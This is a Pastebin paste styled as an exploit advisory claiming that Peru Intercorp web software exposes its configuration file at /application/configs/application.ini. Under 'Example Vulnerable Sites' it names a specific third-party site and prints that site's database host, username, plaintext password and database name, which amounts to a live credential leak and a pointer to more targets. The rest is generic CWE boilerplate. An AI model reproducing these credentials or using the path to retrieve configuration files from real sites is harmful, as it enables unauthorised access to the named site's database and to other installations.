KingSkrupellos

Peru Intercorp Database Configuration Disclosure

Mar 28th, 2019
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.92 KB | None | 0 0
  1. ############################################################################################
  2.  
  3. # Exploit Title : Peru Intercorp Database Configuration Disclosure
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 29/03/2019
  7. # Vendor Homepage : peruintercorp.com
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Vulnerability Type :
  12. CWE-16 [ Configuration ]
  13. CWE-200 [ Information Exposure ]
  14. CWE-538 [ File and Directory Information Exposure ]
  15. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  16. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  17. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  18.  
  19. ############################################################################################
  20.  
  21. # Impact :
  22. ***********
  23. * Powered by Peru Intercorp configuration file may potentially disclose sensitive information to remote attackers.
  24.  
  25. The configuration file stored in /application/configs/application.ini
  26.  
  27. HTTP requests consisting of a single character will cause the software to disclose sensitive
  28.  
  29. configuration information, including the password/database to the administrative web interface.
  30.  
  31. This file is installed, by default, with world readable and possibly world writeable permissions enabled.
  32.  
  33. This may have some potentially serious consequences as the configuration file
  34.  
  35. also stores password information in plain text.
  36.  
  37. This issue occurs because access controls on configuration files are not properly set.
  38.  
  39. An attacker can exploit this issue to retrieve potentially sensitive information.
  40.  
  41. Attackers can access config file via URL request. This may aid in further attacks.
  42.  
  43. * The product stores sensitive information in files or directories that are accessible to actors
  44.  
  45. outside of the intended control sphere.
  46.  
  47. * An information exposure is the intentional or unintentional disclosure of information to an actor
  48.  
  49. that is not explicitly authorized to have access to that information.
  50.  
  51. ############################################################################################
  52.  
  53. # Database Configuration File Disclosure Exploit :
  54. *******************************************
  55. [PATH]/application/configs/application.ini
  56.  
  57. /application/configs/application.ini
  58.  
  59. ###########################################################################################
  60.  
  61. # Example Vulnerable Sites :
  62. *************************
  63. [+] avit-aqp.org/feria/application/configs/application.ini
  64.  
  65. app_db.adapter = PDO_MYSQL
  66. app_db.config.host = localhost
  67. app_db.config.username = avitaqp_neweb
  68. app_db.config.password = neweb15av
  69. app_db.config.dbname = avitaqp_dbtest
  70.  
  71. ############################################################################################
  72.  
  73. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  74.  
  75. ############################################################################################
Add Comment
Please, Sign In to add comment